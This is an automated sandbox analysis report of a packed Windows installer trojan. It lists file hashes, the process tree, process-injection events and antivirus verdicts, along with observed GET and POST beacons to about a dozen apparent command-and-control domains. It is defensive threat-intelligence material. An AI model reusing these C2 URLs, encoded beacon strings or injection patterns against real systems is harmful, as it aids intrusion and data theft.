Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	March 24, 2023, 9:34 a.m.	March 24, 2023, 9:41 a.m.

Size	353.4KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`b9e1bfbf09491bfb164214ce2618acb7`
SHA256	`d341b6fe8642df50756dfc1fd18bf37e605718a7b6c2944d117b3a8bf13b4650`
CRC32	`1EA664EF`
ssdeep	`6144:/Ya69VrczRI4gnuqFhFHNwNfbsOvFgyJTfVnBbBcIH4e+Ms:/YHVrcDiLvwlsaFg6aIH45`
Yara	UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) PE_Header_Zero - PE File Signature

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2576
- tlsouvt.exe "C:\Users\test22\AppData\Local\Temp\tlsouvt.exe" C:\Users\test22\AppData\Local\Temp\smeratmnhxm.zc
  2668
  - tlsouvt.exe "C:\Users\test22\AppData\Local\Temp\tlsouvt.exe"
    2748

Name	Response	Post-Analysis Lookup
www.white-hat.uk	A 94.176.104.86 CNAME white-hat.uk	94.176.104.86
www.gritslab.com	A 78.141.192.145 CNAME gritslab.com	78.141.192.145
www.younrock.com	A 81.17.29.149	192.187.111.222
www.thedivinerudraksha.com	A 85.187.128.34 CNAME thedivinerudraksha.com	85.187.128.34
www.energyservicestation.com	A 213.145.228.111	213.145.228.111
www.un-object.com	CNAME un-object.com A 192.185.17.12	192.185.17.12
www.bitservicesltd.com	A 161.97.163.8	161.97.163.8
www.shapshit.xyz	A 199.192.30.147	199.192.30.147
www.thewildphotographer.co.uk	A 96.126.123.244 A 198.58.118.167 A 45.33.30.197 A 45.33.23.183 A 45.79.19.196 A 72.14.185.43 A 72.14.178.174 A 45.33.2.79 A 45.56.79.23 A 45.33.20.235 A 45.33.18.44 A 173.255.194.134	72.14.185.43
www.avisrezervee.com	A 31.186.11.254 CNAME avisrezervee.com	31.186.11.254
www.222ambking.org	A 91.195.240.94	91.195.240.94
www.fclaimrewardccpointq.shop
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
161.97.163.8	Active	Moloch
164.124.101.2	Active	Moloch
192.185.17.12	Active	Moloch
199.192.30.147	Active	Moloch
213.145.228.111	Active	Moloch
31.186.11.254	Active	Moloch
45.33.6.223	Active	Moloch
45.79.19.196	Active	Moloch
78.141.192.145	Active	Moloch
81.17.29.149	Active	Moloch
85.187.128.34	Active	Moloch
91.195.240.94	Active	Moloch
94.176.104.86	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49184 -> 199.192.30.147:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 24, 2023, 9:32 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

HTTP traffic contains suspicious features which may be indicative of malware related traffic (10 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.white-hat.uk/u2kb/?79FhHqw=PXfMycAZpTAipct8YN0l/5TWhYE4yPgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTCgwye3M0h5ZtqacmtcmNe/sHow=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.gritslab.com/u2kb/?79FhHqw=ydCzFiH7iMWnz6xHMKiyYVGDKfWH5+fYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNezbHZCh47jo+mhlV2uXG5eH60=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.bitservicesltd.com/u2kb/?79FhHqw=rr+sOBvEXsBdGevUk44F/k+BAr88zC1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXz4UaWEmNABCelIWOCZ3yhH4Z4=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.222ambking.org/u2kb/?79FhHqw=IEUpLmGg2fqLmrhwD8IHX/zhiiNjbOQDFcodV2ACJcW4bHSQscR3Nc4uRx31p3m0gGv03uToPch8hDrce1eNAdUBSmpSNalx6DQXGQo=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.energyservicestation.com/u2kb/?79FhHqw=IK59b/MdFRha+CUVM3V2TqbXgrTjD6F66TLC1fPPNwLnZq29gpb1hRWNlrDr258EhEsSnFmalKQEmudxTrusBmUmj2xyJgahFTdaUmU=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.younrock.com/u2kb/?79FhHqw=05tPwqSdqXO2xf32BmsnsHpgCfZIa2c80hhB3sQ3FFDNPs5AZDU6TyUQmX911UO6Ssjq2b6k9nBD4uDOZrqd7XHQTF+IIpbM/DoOhU4=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.thewildphotographer.co.uk/u2kb/?79FhHqw=pn+zaWXo7szcfRSxp4kAcR5iap+7ulP+x3705F5u21IqvN9WG9kcDL2FxdXl2W/5MjovaUotkmG6JgF/Eyaa9PeBR2yUVivPQ+uGbEI=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.shapshit.xyz/u2kb/?79FhHqw=Yd5Rzn4EVOpL1Cl/eY8jjeGdoEKZlYBpl8BtE0ZhlgLGbR5cH1Fn7sihS3XP3GCDon1xi4vL0lQ4XtydV6BMyXIOMzObAfzgUMU2ykM=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.thedivinerudraksha.com/u2kb/?79FhHqw=im5SXjRwbJIZeY2yetpTdO7N29MJtck2UhYi2fNZ2Kf/X7lq2SPRiB6LR8y/FeM3y7tdA/WTtliq4uHTfapDkaA0PJ0fXInXaKlPglI=&LXnA_A=9E8yrtswxhM
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.un-object.com/u2kb/?79FhHqw=pRDkJdNDOVoQCU+9NmsXxtV7Hl5B2fjCZpxzdvjpnmqfDHzh6n+FRjrKmvNay2X+ZHc+W0Q0dfC9yhNaGgRfmUucMWCv4S2l11PhWJ0=&LXnA_A=9E8yrtswxhM

Performs some HTTP requests (21 events)

request	GET http://www.white-hat.uk/u2kb/?79FhHqw=PXfMycAZpTAipct8YN0l/5TWhYE4yPgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTCgwye3M0h5ZtqacmtcmNe/sHow=&LXnA_A=9E8yrtswxhM
request	GET http://www.sqlite.org/2017/sqlite-dll-win32-x86-3190000.zip
request	POST http://www.gritslab.com/u2kb/
request	GET http://www.gritslab.com/u2kb/?79FhHqw=ydCzFiH7iMWnz6xHMKiyYVGDKfWH5+fYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNezbHZCh47jo+mhlV2uXG5eH60=&LXnA_A=9E8yrtswxhM
request	POST http://www.bitservicesltd.com/u2kb/
request	GET http://www.bitservicesltd.com/u2kb/?79FhHqw=rr+sOBvEXsBdGevUk44F/k+BAr88zC1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXz4UaWEmNABCelIWOCZ3yhH4Z4=&LXnA_A=9E8yrtswxhM
request	POST http://www.222ambking.org/u2kb/
request	GET http://www.222ambking.org/u2kb/?79FhHqw=IEUpLmGg2fqLmrhwD8IHX/zhiiNjbOQDFcodV2ACJcW4bHSQscR3Nc4uRx31p3m0gGv03uToPch8hDrce1eNAdUBSmpSNalx6DQXGQo=&LXnA_A=9E8yrtswxhM
request	POST http://www.energyservicestation.com/u2kb/
request	GET http://www.energyservicestation.com/u2kb/?79FhHqw=IK59b/MdFRha+CUVM3V2TqbXgrTjD6F66TLC1fPPNwLnZq29gpb1hRWNlrDr258EhEsSnFmalKQEmudxTrusBmUmj2xyJgahFTdaUmU=&LXnA_A=9E8yrtswxhM
request	POST http://www.younrock.com/u2kb/
request	GET http://www.younrock.com/u2kb/?79FhHqw=05tPwqSdqXO2xf32BmsnsHpgCfZIa2c80hhB3sQ3FFDNPs5AZDU6TyUQmX911UO6Ssjq2b6k9nBD4uDOZrqd7XHQTF+IIpbM/DoOhU4=&LXnA_A=9E8yrtswxhM
request	POST http://www.thewildphotographer.co.uk/u2kb/
request	GET http://www.thewildphotographer.co.uk/u2kb/?79FhHqw=pn+zaWXo7szcfRSxp4kAcR5iap+7ulP+x3705F5u21IqvN9WG9kcDL2FxdXl2W/5MjovaUotkmG6JgF/Eyaa9PeBR2yUVivPQ+uGbEI=&LXnA_A=9E8yrtswxhM
request	POST http://www.shapshit.xyz/u2kb/
request	GET http://www.shapshit.xyz/u2kb/?79FhHqw=Yd5Rzn4EVOpL1Cl/eY8jjeGdoEKZlYBpl8BtE0ZhlgLGbR5cH1Fn7sihS3XP3GCDon1xi4vL0lQ4XtydV6BMyXIOMzObAfzgUMU2ykM=&LXnA_A=9E8yrtswxhM
request	POST http://www.thedivinerudraksha.com/u2kb/
request	GET http://www.thedivinerudraksha.com/u2kb/?79FhHqw=im5SXjRwbJIZeY2yetpTdO7N29MJtck2UhYi2fNZ2Kf/X7lq2SPRiB6LR8y/FeM3y7tdA/WTtliq4uHTfapDkaA0PJ0fXInXaKlPglI=&LXnA_A=9E8yrtswxhM
request	POST http://www.un-object.com/u2kb/
request	GET http://www.un-object.com/u2kb/?79FhHqw=pRDkJdNDOVoQCU+9NmsXxtV7Hl5B2fjCZpxzdvjpnmqfDHzh6n+FRjrKmvNay2X+ZHc+W0Q0dfC9yhNaGgRfmUucMWCv4S2l11PhWJ0=&LXnA_A=9E8yrtswxhM
request	POST http://www.avisrezervee.com/u2kb/

Sends data using the HTTP POST Method (10 events)

request	POST http://www.gritslab.com/u2kb/
request	POST http://www.bitservicesltd.com/u2kb/
request	POST http://www.222ambking.org/u2kb/
request	POST http://www.energyservicestation.com/u2kb/
request	POST http://www.younrock.com/u2kb/
request	POST http://www.thewildphotographer.co.uk/u2kb/
request	POST http://www.shapshit.xyz/u2kb/
request	POST http://www.thedivinerudraksha.com/u2kb/
request	POST http://www.un-object.com/u2kb/
request	POST http://www.avisrezervee.com/u2kb/

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory March 24, 2023, 9:32 a.m.	process_identifier: 2576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 24, 2023, 9:32 a.m.	process_identifier: 2668 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01cf0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 24, 2023, 9:32 a.m.	process_identifier: 2668 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01d00000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 24, 2023, 9:32 a.m.	process_identifier: 2748 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00830000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\tlsouvt.exe

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 24, 2023, 9:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2668 called NtSetContextThread to modify thread in remote process 2748
NtSetContextThread March 24, 2023, 9:32 a.m.	registers.eip: 1995571652 registers.esp: 1638384 registers.edi: 0 registers.eax: 4199136 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000000c0 process_identifier: 2748	1	0	0

File has been identified by 34 AntiVirus engines on VirusTotal as malicious (34 events)

Lionic	Trojan.Win32.Agent.tshg
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Nemesis.19206
McAfee	Artemis!B9E1BFBF0949
Sangfor	Suspicious.Win32.Save.ins
CrowdStrike	win/malicious_confidence_100% (D)
Arcabit	Trojan.Nemesis.D4B06 [many]
Symantec	Packed.NSISPacker!g14
Cynet	Malicious (score: 100)
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:Trojan-Spy.Win32.Noon.gen
BitDefender	Gen:Variant.Nemesis.19206
Avast	Win32:InjectorX-gen [Trj]
Sophos	Generic ML PUA (PUA)
DrWeb	Trojan.Loader.1355
VIPRE	Gen:Variant.Nemesis.19206
McAfee-GW-Edition	BehavesLike.Win32.Generic.fc
Trapmine	malicious.moderate.ml.score
FireEye	Generic.mg.b9e1bfbf09491bfb
Emsisoft	Gen:Variant.Nemesis.19206 (B)
SentinelOne	Static AI - Suspicious PE
Avira	HEUR/AGEN.1337962
Microsoft	Trojan:Script/Phonzy.A!ml
GData	Trojan.NSISX.Spy.Gen.24
Google	Detected
AhnLab-V3	Trojan/Win.Agent.C5382526
ALYac	Trojan.NSISX.Spy.Gen.24
Cylance	unsafe
Rising	Trojan.Injector!1.E3C9 (CLASSIC)
MAX	malware (ai score=89)
Fortinet	W32/ShellcodeRunner.CA!tr
BitDefenderTheta	Gen:NN.ZexaF.36344.pqW@a4saocg
AVG	Win32:InjectorX-gen [Trj]

vbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All